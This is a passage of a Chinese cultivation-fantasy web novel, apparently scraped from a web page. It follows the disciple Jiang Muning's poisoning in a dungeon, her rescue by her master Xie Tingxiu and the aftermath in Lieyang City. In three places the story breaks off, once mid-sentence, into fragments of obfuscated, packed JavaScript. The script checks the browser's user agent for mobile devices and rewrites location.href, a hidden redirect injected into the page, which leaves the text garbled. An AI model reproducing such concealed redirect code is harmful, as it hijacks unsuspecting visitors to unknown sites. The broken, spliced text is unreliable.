后续的话尽数被封住。梦妖若无其事地摊开双手,对她眨了眨看似无害的眼睛,状若思考,忽而笑道:“你不是看到了吗?他是幼薇的兄长,但屡次三番对我不敬,得狠狠地罚。本仙,会每日从他的身体取走一点东西,这样幼薇就会乖乖地和我在一起了。” 他笑得近乎变态,镂空的眼瞳开始皴裂,玄色裂纹依稀蔓延在他的整张脸,纵横交错在一起,毫无血色的皮肤里长出尖锐的寒刺,黑色的血液顺着寒刺滴落在地。 姜慕宁看得鸡皮疙瘩都要出来,这死变态一点人性都没有,她还在心里暗暗骂骂咧咧,却察觉纪元璟似有拼死一搏的冲动,便忍不住想要阻止他。 “纪元璟,都什么时候了,你还在逞英雄——”姜慕宁话到中央突然发觉梦妖袭来的攻击,想也没想便替纪元璟挡下了一招,急切地道,“我选第二条,留在这里,但我不要和他成亲。” 姜慕宁随即三步两步上前,拿起两杯烈酒猛猛灌入了喉间,途中还被呛了嗓子。梦妖见状露出了玩味十足的笑容,吩咐小妖检查她是否喝下后才肯放心,满意地对她鼓掌:“好。姜慕宁,外界传闻也并非是真,倘若你刚才一走了之,我便会引发密林毒蛇将你给吃了,你果然没有让我失望啊。这喜酒你也喝了,便好好在此长居——” 零碎的声音逐渐隐去,姜慕宁和纪元璟被关到一处潮湿阴森的地牢,四周布满了各种藤蔓的石壁奇形怪状,数不清的蚊虫在藤蔓间飞舞,它们随时都有可能冲破地牢设下的结界逃窜。她四处观望,试探了一二,确定这些东西暂时不会伤害他们和现下无人后,姜慕宁用嘴咬下藏在衣袖口的丹药,将其中一颗吞入腹中,剩余一颗则给纪元璟。 她掰着纪元璟的下巴,强行塞入他的口中,毫不迟疑地对着他的胸膛来了几拳,小声地骂骂咧咧:“都怨你,要不是你我就不会浪费千里符,也不会浪费这两颗保命丹药,你拿什么赔给我?” 这两颗灵药是她向岳明恪求来的,可是千金难买的灵药,素有起死回生的名头。姜慕宁辗转许久,未寻到离开的良法,想了想还是坐到处于昏迷不醒状态的纪元璟身旁,注视了他一盏茶的时间,鬼使神差地替他整理了凌乱的发丝。 好巧不巧地,纪元璟在此时睁开眼睛,警惕地捉住她将落入自己脖颈的手,不留情面地甩了过去,生气地道:“你做什么?休想打我沉水镜的主意,姜慕宁,你还是一样不知羞耻。” 姜慕宁痛得哼了一声,她的手被迫击到坚硬的墙壁,擦破了些皮,有些地方甚至就渗出血液,这样没来由的质问更让她心头一阵火大:“谁惦记你那破玩意!是我救了你,你看看你现在说话的声音是不是很响亮?腿是不是也不痛了?恩将仇报的烂人,我就应该不管你,让你死在这里,我为什么要多管闲事?” 潺潺流水滴落在长满青苔的岩石上,虽能隔绝一定的声音,但此刻整间地牢尽是姜慕宁的声音在一遍又一遍地重复放出。 “对不起,是我的错,我不该怀疑你的。”纪元璟一听她的话便有意识地动了动自己被打废的腿,手掌抚上刚才满是疼痛的胸膛,方知痛意顿然缺失,愧疚地靠近姜慕宁,拉着她的手查看了一番,眼底尽是歉意,语气也轻柔了些许,“慕宁,沉水镜是位名唤‘芷莘’的上仙要我守好此物,你有没有事?” 姜慕宁撇了他一眼,自顾地偏过头去,并没有理会他的意思。纪元璟赧然,挠了挠头,抬起手掌,用力地捶在坚硬的壁面,随即吃痛地在她眼前晃了晃,说道:“我给你赔罪,是我不好。” 他的手掌被尖锐的硬物划破,留了道深深的划痕,姜慕宁见状连忙阻止他,将他的手握到眼前,确认无事后再丢回去,没好气地说:“喂,我不需要你这样赔罪,你答应我一件小事,我就原谅你。” “何事?”纪元璟闻言,脸色稍稍好了些,他扯下一块衣角,自己给伤口包扎,“若是替你追求徐鹤白,我纪家不与天阙来往,此事没得商量。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500690|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 烈阳城自建立以来一直都是世袭为主,自南陵到天阙足有百年之久,烈阳城从不受皇城调遣,历代皇帝向来遵守与烈阳城的约定,不派一兵一卒驻扎在内,烈阳城每年上交赋税,井水不犯河水。 近年来,世家愈发活跃,尤其是祝家有夺位之意,多位世家有意拉拢烈阳城,皇帝沈珏更是多次召纪城主回京,明里暗里敲打一番。 纪元璟虽看上去纨绔,但也知晓一些分寸。姜慕宁听到他的话时顿了一下,随即立即反驳道:“不是这个,是给我三张千里符和遇水珠,烈阳城不会连这个也没有吧。” 说罢,姜慕宁的心口狠狠地抽了一下,她的面部略有狰狞,痛苦的表情流露而过,纪元璟担忧地想要为她探脉,说着:“你没事吧?是不是刚才喝的酒有问题?” “别,我吃过避毒丹,按道理来说应该没事,你都恢复如初了,我不应该有事才对。”她摇着头退开一步,抬掌挡在他的身前,清凉的声音略有喑哑,再到后面,她的视线慢慢模糊,重影连连,唤她的声音也仿佛带上了悠远的回音。 “姜慕宁,姜慕宁!” 这是道很嘈杂的声音,姜慕宁的心情变得更加地繁杂了,“姜慕宁,那些妖怪逃出来了!是不是沈霁雪和徐鹤白已经来了?” “慕宁,让我用沉水镜替你去除魔障。”纪元璟的声音又急又重,他好像想要抓着她的手,但她身形移得极快,只是召出千机剑,剑上散发着金色的光芒挥去,将妄想伤害他们的小妖尽数斩于剑下。 她丝毫没有停下的意思,纪元璟刚一靠近便被光芒打倒在地,围在四周蠕动的藤蔓疯长,如蛇一般地缠在他的腿间,将人提到了半空,蚊虫聚在一团,似有蓄势待发之兆。 “姜……”他的话淹没在嘈杂里,涌起的流水被灵光激起,扑在了纪元璟的身上,他还没有来得及睁眼,胸前被人猛地一推,腰抵在冰凉的寒剑上。 无数小妖尽数葬身于那柄长剑之下,来人身影绰绰,金色余晖滞留其间,晃了晃纪元璟的眼。 寒意瞬间逼上周身,僵持了约莫三刻,寒冷的铁器“咻”地一下,脱离桎梏,如百川归海般钻入了姜慕宁的手里。纪元璟半睁着眼,拉着那人的衣袖,试图继续走动,意识到处于中毒的姜慕宁,赶紧求救道:“天玑仙人,快救救姜慕宁,她中毒了。” “你先在此休息,不必担忧。她是我的弟子,我会救她。”谢亭修扯开纪元璟的手,替其设了结界,他停顿了一下,那双好看的眼眸迟疑地望着空空如也的手,微微抬眸,目光不由自主地锁定了手持寒霜剑的姜慕宁。 这明明是他的本命剑,为何她能够驱使? 这实在匪夷所思,谢亭修本想召回寒霜剑,催动自身灵力也难使灵剑回归他的手间,他的嘴唇微微翕动,很是诧异。 寒剑袭来,强风吹起他额前的几缕青丝,谢亭修两指握住剑锋,蹙了蹙眉,抬了抬手,将自己的灵力注入姜慕宁的额间。 “姜慕宁,看清楚,我是谁。”他的声音轻轻的,听不出有其他夹杂在其中的情感。岂料姜慕宁将剑一转,剑气纵横离去,径直穿过谢亭修的身体。 他侧身躲过,瞬移至姜慕宁身旁,凝指点在她的眉心。 朦胧间,薄雾轻覆,姜慕宁脑海里的身影蹁跹如至,无时无刻不在扰乱姜慕宁的思绪,期间她不停地拍打沉重的脑袋,试图能够从中获得一些清醒。 这里似乎变得很幽暗,她的头像是要裂开一般,比起之前醒来的心痛要更甚,手里握着的那把剑仿佛在操纵着她的身体。 姜慕宁呆滞地看了眼身前的男子,分不清他的面容,依稀觉得他的气息很熟悉,喃喃地道:“你是谢亭修,是我师尊,还是杀我之人。别杀我,谢亭修……” 他身上的那股淡淡清香实在惹人更醉,姜慕宁凭着本能越发凑近,意识更加模糊,身子凑近了他很多,趁他不解那刻,张口轻轻地咬在了他的脖颈。 12. 烈阳城(六) 谢亭修丝毫没有料到她会有此动作,愣了三息,指上的灵力随着他的错愕骤然停歇,并未继续将灵力注入她的体内。 颈上传来女子轻咬的声响,摩挲几阵便被谢亭修点住穴道,将人抱在怀里。微不足道的丝丝疼痛同样也扰乱了他的思绪,眼前这个凡间徒弟亵渎了他,是否应该将其好好惩戒一番,可不知为何,他竟觉得不该伤害姜慕宁。 远处响起不合时宜的轻咳,谢亭修从姜慕宁的手中取回寒霜剑,用意念催动寒剑将此间妖物尽数斩灭。 明明谢亭修的神情瞧上去与往日别无二致,但这次,纪元璟觉得他的目光藏着几分不耐。 两人对视了一眼,纪元璟终是选择避开这道满怀奇异的目光,想起还在梦妖房中的妹妹,连忙起身,准备离开。 临走之时,纪元璟停下脚步,有些疑惑地望向了谢亭修,取出藏好的宝物,想要递给谢亭修,遂道:“仙长,幼薇在何处?这是沉水镜,能不能救姜慕宁?” 空气里安静了几刻,泛着金光的灵药浮现于谢亭修的手上,被他缓缓送至纪元璟的身前,他道:“此为破除傀儡术的灵丹,梦妖已被沈霁雪与徐鹤白联手除之。令妹于二十里外的桃源居,他们会在那边等候。沉水镜是她赠你的,好好留着。此间事了,你可前去。” 纪元璟拿着灵丹,匆匆瞥了一眼昏迷的女子,思忖再三,便马不停蹄地离开了这里。 曾几何时,这间遍布腌臜妖怪尸体的地方只余谢亭修与姜慕宁两人,靠在谢亭修怀里的红衣女子发出清浅的呼吸声,时不时地发出些呢喃细语,但都是他听不懂的词语。 明明她身上的毒已解,但为何不见有所好转。谢亭修将人怀疑地放在一旁的草席上,蹲在她的身旁,用手抚在她的脸,试着唤了一声姜慕宁,还是没有任何的应答。 寒霜剑这么执着保护这个女子,莫不是有着他不曾知晓的纠葛?他始终窥不得其中的玄机,还须等姜慕宁醒来当面对峙方可。 “罢了,念你仍有善意,这次便不与你追究。”经过几番查探,谢亭修大概知晓了姜慕宁所中的是何毒。 他召出九成玲珑塔,引姜慕宁打坐,便将玲珑塔静置在她的腿前,将她身上的邪祟气息逐渐引入玲珑塔,助她不再受梦魇烦忧。 谢亭修对于眼前弟子的感情并不深厚,只是寥寥见过几次面,若非此次炼刀堂祸事出现,或许他已淡忘了姜慕宁。 除去这些,姜慕宁虽拜他为师,但似有备而来,仅仅同他学了半月法术便想从水云峰离开,想转投入岳明恪门下,与徐鹤白共拜一师。 这件事闹到了岳明恪的耳中,本着和睦共处的原则,岳明恪并没有答应姜慕宁的胡言,却也安排徐鹤白与沈霁雪传授她修炼的良方。 真气逐渐度入姜慕宁的身体,她额前浸出冷汗,顺着她的脸颊淌过,意识也渐渐恢复清明。 谢亭修默默看着她手上若隐若现的红色细线连向自己,持续了半刻,不等他出手便自动隐没了。 柔柔月色透过被砸破的窗棂,错落在这间安静的地牢,空气中弥漫着的腐朽气息愈发被一阵好闻的清香取代。 这清香闻起来有些熟悉。 姜慕宁缓缓睁开双眼,模糊朦胧的视线登时聚焦在距离自己不远处的蓝袍身影,月霜披在他的身上,给人一种疏离感。 她打量了一番,定格在其腰上的金色令牌,脑海里猛然想起梦妖曾说过的话,思绪翻滚如潮,试探性地喊了声:“师尊?” 男子闻言稍稍转身,快步走至她的面前,表情凝重,怀疑的眼神悄然地落在了她的身上,也不等她开口,先道:“梦妖死前服用了手里握着的那枚丹药,据我所知,它名唤离魂焚心丹,此丹可引人入魔还会让毕生修为尽散。你是如何得到的?” 姜慕宁从草席上坐起,抬眸瞧着比她高出许多的谢亭修,心里早已想好了说辞,顿了顿,她认真地解释道:“师尊明鉴,此丹正是我从方囚的手中夺来的,弟子愚昧,以为它是修炼的上乘丹药,却不想它竟是魔丹。弟子受城主夫妇所托,前来百媚林寻纪元璟,不慎被梦妖擒住,弄巧成拙实非弟子本意。” 说完这一连串的话后,她长长舒了一口气。谢亭修半信半疑,不确定地问道:“这不是姜家主给你的?你入山已有三载,除去拜师那日,你似乎从未将我放在眼里。” 此问一出,姜慕宁心头瞬间凉了一阵,强烈的求生欲令她赶紧反驳道:“怎么可能?弟子对师尊的心日月可鉴,从前是我被猪油蒙了心。何况,他哪里会给我这个东西。从前是从前,我现在特别特别崇拜师尊,我还想和师尊你好好学习法术,继承你的衣钵呢。我是真的喜欢师尊……呃不对,是喜欢师尊的……广阔胸襟。” 谢亭修被她的话惊了一下,灿若星辰的眼眸轻轻颤动,好话从姜慕宁的口中说出来似乎也是格外地动听。 他心头忽然有个念头,倏忽之间抬手过去,见她略有恐惧地往后缩去,追问道:“姜慕宁,不是说崇拜我么?怎么害怕我?” 他这语气别有意味,与之前的感觉大有不同。不过谁能莫名其妙地接受陌生人的动作,姜慕宁扯开嘴角,和善地笑笑:“师尊,你是即将飞升的神仙,我从前做了很多的错事,我这不是怕你一挥手,我和那些小妖一样灰飞烟灭嘛。” “哦?”谢亭修默默收回手,打量着她,唇角微扬,“做了哪些错事,说来听听。” 这她哪里记得住,姜慕宁暗暗斜了一眼谢亭修,拾好该有的面部表情,杏眼无辜地眨了眨,道:“往事不堪回首,师尊只需知道,弟子往后只会一心一意地跟随师尊修行。” 她的眼神直勾勾地落在谢亭修的脸上,让他也感受这种被人直白地盯着的感觉,果不其然,谢亭修被她盯得有些不自在,微微偏头过去。 是或不是,于谢亭修而言都不重要。 他默然片刻,没有再继续追问这个疑问,姜慕宁偷偷瞄了他一眼,观察他的神情变化,正想开口询问他腰间的玉佩时,谢亭修再度发出了疑问:“姜慕宁,告诉我。寒霜剑为何会因你躁动,不惜远赴千里之地前来护你?” ??? 姜慕宁有点没明白他的意思,什么叫做寒霜剑因自己躁动?望着空空如也的手,手背上还沾染了些霜,霜因她的温度化作水流去,她疑惑地反问:“师尊的剑自然是师尊掌控,弟子修为低下,弟子还以为是师尊担忧,特派寒霜前来?” 她作为一个刚来的穿越者,再如何也做不到操纵堂堂三十一境界的修仙长老的本命剑,这说出去简直就是欲加之罪,何患无辞。 这个话题明显对她不利,姜慕宁决意换个话题。 “师尊,他们是否安然无恙?纪元璟如何了?”姜慕宁瞥见谢亭修眼底里闪过的一抹不解,刚想起身,身体就像负重千斤一般倒了下去。 令人震惊的是她并没有摔入崎岖不平的地面,而是被一双有力的双手箍住,清香萦绕在了她的鼻间。 “小心点。”恍惚间,这声音听起来有点温柔,姜慕宁觉得大概是自己幻听了,又或者是谢亭修的声音听起来十分悦耳。 这样的动作大概持续了半刻,她安然坐了回去,抬眸不经意间瞧见了他脖颈上的印子,没多想便问道:“师尊你的脖子怎么了?” 这应该不是我干的吧? 刚一问完,姜慕宁大脑忽然闪过几个记忆片段,后知后觉明白了些什么,谢亭修抬手轻抚伤口,她再放眼望去那刻,那上面全然没有了任何痕迹。 “我无妨,一点小伤罢了,诸事已了,他们都安然无恙。”谢亭修神色淡然,对于她的反应置若罔闻,半步退离,清冷的眼眸似有一丝难窥的情绪,“我来此,是因它,也因你。” 这台词,不太对吧。 姜慕宁被他的话弄得一头雾水,脸上带着不解,脑海里却是浮想联翩,受宠若惊地道:“师尊,我们的关系何时这么亲密了?你这样说,弟子可是会误会的。” 难道她还忘记了些事情么? 大抵是没有的,现在所处的剧情貌似发生了很大的变化,或许谢亭修还有别的目的也说不定。 他未言语,只是抬手召出寒霜剑,轻点剑身,一缕金色光束从剑身冉冉升起,化作一个小小且冒着金光的精灵,它的耳朵圆圆的,周围被金饰装饰,身体两侧还有一对还在噗嗤噗嗤的小翅膀,看上去像活脱脱的小摆件。 “寒霜,她与你有何联系?”谢亭修的嗓音微冷,在剑灵听来像是个不定时、随时可炸开的炮弹,它骄傲地扇动翅膀,围着姜慕宁转了一圈,疑惑地盯了她很久,扶着下颚,摇了摇头说道:“主人,不应该啊,我之前明明在她的身上感应到了你的气息,但是现在什么都感觉不到。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500691|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着,剑灵还特意闻了一下,不解地继续道:“姜慕宁,你到底使了什么手段?剑竟然会受你影响。” 姜慕宁听着这宛若稚子的声音,觉得甚是可爱,忍不住伸手把寒霜逮到手里仔细观察,女子的眼眸蕴藏着笑容,半分邪气也没有。 她轻轻地摸了摸寒霜剑灵的翅膀,欣喜地道:“小寒霜,我是个五境的低阶修士,我哪有手段,你的翅膀好可爱啊。” “唉呀,你离我远点。”寒霜剑灵受不了她这么热情,努力从她的手里挣扎而出,飞到空中,对她做了个鬼脸便回了剑身,不再有其他的动作。 谢亭修很少召出剑灵,这次无故将其解封,当真是因为她,还是另有缘由。 罢了罢了,想不清楚。 事情好像没有这么糟糕,姜慕宁感知手中流窜的暖意,不由自主地对上了谢亭修那双冷眼,冲他笑了一下:“师尊,我真没手段,你不信我的话,我也没有办法。不过,我愿以问心琴了却师尊疑虑。” 周围静得可怕,水滴时不时“滴滴滴”地掉落在地,清脆声毫无阻拦地进入两人的耳朵里。倏忽之间,地面缠绕的藤蔓植物闪烁着红色的光芒,直冲两人而来。 谢亭修手中的宝塔最先察觉,自顾倾泻各种奇光照耀而去,姜慕宁自觉地退到谢亭修的身后,眯着眼睛瞧向嘴唇微微翕动的师尊。 只见他稍稍屈指,九层玲珑塔便从多色转为玄色,寒霜剑听他意境出动,了无迟疑地将藤蔓斩断。 窸窸窣窣的声音此起彼伏,寒霜剑自动回到谢亭修的手上隐去。 “这是什么意思?”姜慕宁离他太近,身体便有晕乎乎的错觉,她摇晃着脑袋,远了一步,见他提步离开,也跟了上去。 这里原本还是纪府的布置,但在谢亭修四处乱窜的灵力破坏后,却逐渐恢复了原有的样貌。 这家伙怎么走这么快,姜慕宁奋力跟上他的步伐,却始终慢了很多步,干脆便放缓脚步,冲着那道愈发悠远的身影喊着,不死心地又问了一次。 谢亭修见状,停在原地,待她走近自己的身侧,方淡淡地道:“九层玲珑塔可断妖族是否胡作非为,倘若经我查验为恶,皆不可活。世间法则自有定数,它们执意逆天而为,便只有死路一条。梦妖本就应以死赎罪,是岳明恪替他求情,现在的结局何尝不是殊途同归?” 是他亲手破了梦妖的阵法,给了沈霁雪和徐鹤白反守为攻的机会,在那之后,梦妖临死之前说的话仍然令他思索不得。 “这塔,对人亦有异曲同工之妙。慕宁,你可明白?”谢亭修的话像是提醒,更像是一种警告,他不再纠结梦妖下的诅咒或是言语,袭向姜慕宁的眼神带着些许好奇,渐渐地,转为了不可探究的深邃。 女子一怔,她的脸上带着纯真的笑容,明媚如暖阳,她跨出一步,与他拉近了些距离,笑嘻嘻地道:“弟子刚才是说真的,有师尊在,弟子不敢造次。师尊不远千里前来,弟子心感荣幸。不过我们,是不是得出去了?师尊,弟子有些害怕,快带我出去罢。” 与其待在这里,她还不如早点出去。离谢亭修越近,她嗅到的那股香气便愈发强烈,她觉得鼻头一痒,猝不及防地打了一个喷嚏。 于是她又退离了两步,这动作全然落在了谢亭修的眼里,他的眉头紧锁着,显然是不满于她的举动,但仅持续了一刻,他恢复成往日的模样,但仔细瞧去,似乎没有之前那般冷情。 她好奇地想要去触碰他腰间的那块玉佩,反被一股灵力弹开。谢亭修貌似有所察觉,他的眼睫毛微微动了下,没开口,等着她的解释。 俗话说,伸手不打笑脸人,姜慕宁笑起来眼睛亮亮的,好似小鹿,她没轻没重地扒拉着谢亭修的衣袖,“师尊,我听师伯说你已然闭关,也不能随时离山,这是不是你的分身呀?” 谢亭修没再深思寒霜剑的异常,只是再次抬手在她的眉心点了一下,视线偏移至她的耳垂,观察了一瞬,神色一变,便如无事发生般道:“此事暂且搁置在一旁,你记住,从今往后,你便随我好好修行。为师定会对你,倾囊相授。” 他故意压重了后面四个字,姜慕宁感受到了不详的预感,她笑了笑,没有选择搭话。 这是威胁的话,还是真诚的话?莫不是他发现了何事?手腕也有些疼,她佯装无事般摆了摆手,静静地跟在他的身后。 13. 烈阳城(七) 烈阳城暂时恢复了往日的繁华,为祸人间的梦妖身死,诸多无辜百姓得到解救,但也有许多无辜的女子少年被梦妖吸食精气致死。 沈霁雪与徐鹤白为救百姓受了重伤,暂时寄居于城主府疗伤,谢亭修见他二人也有此意便打算离开,但被纪元璟拦了下来,加之纪城主中了离奇的毒,谢亭修亦选择留在烈阳城。 既然他们都留在烈阳城,姜慕宁少不了也要跟随。 她也在纪府休养了一段时间,她原先是想着趁无人时偷偷离开前去禹都,头两次都被纪元璟截胡,说要同她尽尽地主之谊,邀她四处闲逛,她也借机品到了山珍海味。 他们两人面对面坐在一处高楼,眼前摆满了各种各样的珍馐美馔,她客气了几句,拾起筷子便不再客气。 坐在对面的纪元璟倒是从容,托着下巴静静地望着姜慕宁吃吃喝喝,仿佛在欣赏一般,露出了一个看上去比较憨的笑容。 看着看着,对面的女子觉察后瞬间垮了垮表情,毫不犹豫地给了他一个白眼,她抄起碗转过身子,继续咀嚼口中的美食。良久,她带着些许无语的声音传来:“你知不知道这么直白地盯着一位姑娘,是件很无礼的事情。尤其还是在我吃饭的时候,我知道我对你有恩,你想答谢我,我收下你的谢礼,你别再盯着我了。” 她想要的东西皆已得到,再吃些佳肴,就可以了无牵挂地远走高飞了,此事甚好甚好。 她其实更希望这是一场梦,梦里发生的所有事都是虚妄,只要醒来,一切都能重新开始。 在她说完之后,纪元璟很是知趣地转开目光,他低着头,不停地用拇指摸索卷好的四指,在姜慕宁不解的视线中扭扭捏捏了好一阵。 最终,姜慕宁实在看不得这样姿态的纪元璟,停下碗筷,忍不住道:“你在哪扭扭捏捏个什么劲?有屁快放。” “姜慕宁,我往后可不可以唤你‘慕宁’?”纪元璟缓缓抬头,认真地注视着姜慕宁的眼睛,有些不自在地咳了很多次,见她没回应,继续说道,“我想了很久,或许是我们从前有了误会,你先前说的那些话定非你的真心话,慕宁,我想拜天玑仙人为师,你觉得如何?” 先前还对她耀武扬威,现在倒是换了副模样,诚诚恳恳,简直是判若两人。这男子的心也似海底针,难辨得很。 他说得句句肺腑,但姜慕宁抓住了他最后一句话,蹭地一下起身,将脑袋伸了过去,音调高了不少:“哦我知道了,你想让我替你引荐。称呼呢,你想怎么唤就怎么唤,后面拜师这件事……你得拿出诚意,没诚意你怎么拜师?” 说到此,纪元璟耷拉着眼睛,唉声叹气地道:“我爹替我试探过,天玑仙长并没有收我为徒的意思。” 谢亭修有她一个已是累赘,她想谁也不想再多一个麻烦的弟子。这几日纪城主的病情趋向稳定,谢亭修离开是迟早的事,姜慕宁也想趁此机会前去禹都,找找返回现实的法宝。 于是她给纪元璟出了个主意,要投其所好。据她所知,原著里谢亭修最爱弹奏古琴,若是纪元璟按照他的喜好,投之以桃,或许他一欣喜,便会考虑收徒一事。 可当他们实践这事后,谢亭修还是无情地拒绝了纪元璟的拜师,姜慕宁现在都会犹记他当时的表情,一本正经地说:“我此生只有姜慕宁一位弟子,不会再有其他弟子。纪小公子的心意,在下心领。这上好的梧桐古琴,该留给适合他的人。” 这话倒是将站在暗处默默观察的她弄得十分尴尬,她此前也没发现谢亭修这么会脱身,于是她便从某个犄角旮旯里蹿到师尊的眼前,试图为纪元璟争取些机会:“师尊,纪元璟是真心想要拜你为师的,何况你不是也说我顽固不化,难以教化。他比我有天赋,弟子向往自由,恐不能陪伴师尊长久。师尊,你再考虑考虑嘛。” 这几日与谢亭修的相处让她渐渐明白,谢亭修是个是非分明的仙人,面对纪幼薇的无礼质问时,依旧正义凛然地答出人妖之别,反倒是将纪姑娘问得哑口无言。 这样的人,算是有灵魂了。 “姜慕宁。”谢亭修眉间的寒雪淤积得越来越深,仿佛释放着无尽的冷意,越靠近,便会被这刺骨的气息冻伤,“本座行事自有用意,何须你来置喙。” 姜慕宁恢复笑颜,自来熟地凑近了他一点,拉着谢亭修的衣袖甩甩,她虽然不知谢亭修怎么突然转了性子,但他似乎变得不抗拒自己的接近,于她而言是百利而无一害。 她意识到师尊的话里带着刺,便尝试着软了语气:“唉呀师尊,你不要这么凶嘛,弟子是见纪公子对修行执念已深,加之我们儿时又是太子的伴读,师尊曾教导我要以情待人,我是想偿还纪公子的儿时情谊,也想师尊的水云峰热闹些。但归根结底,还是弟子太怕孤单,师尊总是闭关修炼,让我独留。” 咳咳咳,这话说得多多少少有些假,姜慕宁巴不得谢亭修不管她。谢亭修若有所思地盯着她,眉头一皱,思考了一下她的话,最终依旧坚决地道:“纪元璟,若你想要修仙,我可为你引荐,近日我观你周身,你五行属火,当拜太虚南宫酒为师最为上乘。拜我为师,乃是逆天而行,你当真想好了?” 纪元璟迟疑地转头去看姜慕宁,见她先是摇了摇头,又迅速地点头,他诧异地垂着眸,思忖良久,他是真的在担心谢亭修所说的话,若是逆天行事毁了根基,那他与修行将再无干系。 当想好的那一刻,纪元璟的眼前哪里还有那抹仙气飘飘的身影,姜慕宁一脸嫌弃地盯着自己,这倒是令他着实不解:“天玑仙长去了哪里?我还在思考,我心中已有决断!” “你知道你想了多久么?整整半炷香的时间。”姜慕宁有些恨铁不成钢,抱着地上燃尽的香给他看后轻放在一旁的桌上,失语一阵,越发觉得这家伙太过可爱,“谢亭修他,呃,我师尊是何许人也,他既问你,便是想给你一次机会,你还犹豫……” 这家伙一遇到些难回答的问题便会陷入深思,连谢亭修何时走的都不知晓,好似呆头鹅。 男子霎时恍然大悟,心如死灰地仰天长叹,想着挽回:“不知为何,我一见天玑仙长,我的心里总是害怕,我待会再去寻他,定会拿出我的诚意。” “你见到他,不管他说什么,你都要义正言辞地说‘我要拜你为师,只拜你一人为师,此生我只会有你一个师父’。” 这段话说出来竟会有些熟悉,谢亭修看上去冷,但待每个人都算是一视同仁,刚才那番言论,她只当是在考验纪元璟,既如此,何不再尝试几番。 纪元璟听到她的话,脑海里浮现出她拜师时的场景,那时的姜慕宁心高气傲,于人群中一眼寻到了天玑仙长,指着其便喊道:“我要拜他为师,我只拜谢亭修为师。还望兄长、岳掌门、谢仙长应允。” 同样地,谢亭修平淡如水的脸上生出一丝波澜,茫然几阵的视线慢慢地定格在那身着蓝衣的少女脸上,向她迈近一步,说道:“我此生不收徒,姜姑娘可拜他人为师。本座与你,并无师徒之缘。” 众目睽睽之下,无数双眼睛齐刷刷地聚集在她的身上,她自然不想被驳回面子。于是那时的姜慕宁诚意恳恳,流着两行清泪,跪在谢亭修的身前,两手扯着他的衣衫,眼圈泛着红,喊道:“仙长,弟子凡心已了,只想跟随仙长修行。弟子是真心想要拜你为师,若是你嫌我不够心诚,我愿三拜九叩入水云峰,缘分一事,终非磐石不可移,弟子一直都信事在人为。” 那番言辞勤恳,旁人见了都要落泪三分,在她几番死缠烂打过后,谢亭修终是松了口,答应收姜慕宁为徒弟。 “就如你当初一般死缠烂打么?”纪元璟脱口而出,他见她要走,连忙跟上她的步伐,察觉话语有些直白,寻了些话来补,“我的意思是,如你一般诚心诚意。” 这还差不多。 姜慕宁若有所思地点了点头,听他说了许多抱怨的话,寻个好时机向他讨要了之前他答应的东西便匆匆回了房,检查一番避水珠与千里符,确认无事方才安心。 她收好千里符,一头倒在铺好的床里,举着清澈透亮的明珠,忍不住摩挲了几下,喃喃地道:“传闻禹都有一种逆转时空的宝物,如果我得到它,是不是就可以回归现实?可那里都是炼刀堂的人,我只有三张千里符和一颗破珠子,好费脑筋,谢亭修也在这里,每次看到他,心里总是不安,这个必死的结局到底要怎样才可以修改?谁来救救我?” 她摸着摸着,困意来得极快,眼皮也逐渐拉下,就在她即将进入梦乡的那一刻,屋外忽然传来阵阵敲门声,紧接着便传入了沈霁雪的声音:“姜师妹,谢师叔有事要我代为转告于你。” 谢亭修,谢亭修,又是谢亭修! 姜慕宁一听到这个名字,心头便莫名地烦躁,她有些没好气地踢了一下无辜的棉被,拖着沉重的身子,了无生气地开门:“他有什么话不能当面告知我,还要劳烦师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500692|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐?” 她的语气听起来恹恹的,沈霁雪静静地站在屋外,并没有进去的打算,顿了三息,便说明来意,道:“谢师叔有事急需处理,现已离开烈阳城。他临走之前给了我本秘籍,要我交给你,他还要我提醒师妹,你需好生历练,参悟秘籍,回山时他要检验师妹。” 这本蓝色的秘籍与人的掌心般大小,几乎看不见上面的字体,姜慕宁踌躇半晌,心觉这么接受旁人的东西实属欠了人情,但仔细想想,觉得没什么不妥就接了过来。 她大致扫了一眼,依稀辨认出上面写着的几个字,笑着收入囊中,客套几句,“师姐的话我记下了。要进来坐坐么?我这几日没有见到你们,没能替师姐做事,伤势可有好转?” 沈霁雪莞尔,似乎觉察她别的意图,十分潇洒地回道:“我的伤势无碍,徐鹤白也无碍。”这份坦荡,倒是可爱。 眼见无事,姜慕宁便想着寻个借口回屋歇息,今日四处游荡也累得不行。但沈霁雪貌似还有疑问,借着今日见她,问道:“师妹,梦妖那日根基被师叔所毁时说了一句话,他说是你给的灵丹害了他,那颗灵丹被他吐出,似乎落到了师叔的手里。我想知晓,这颗灵丹是何物,怎会有如此大的功效?” 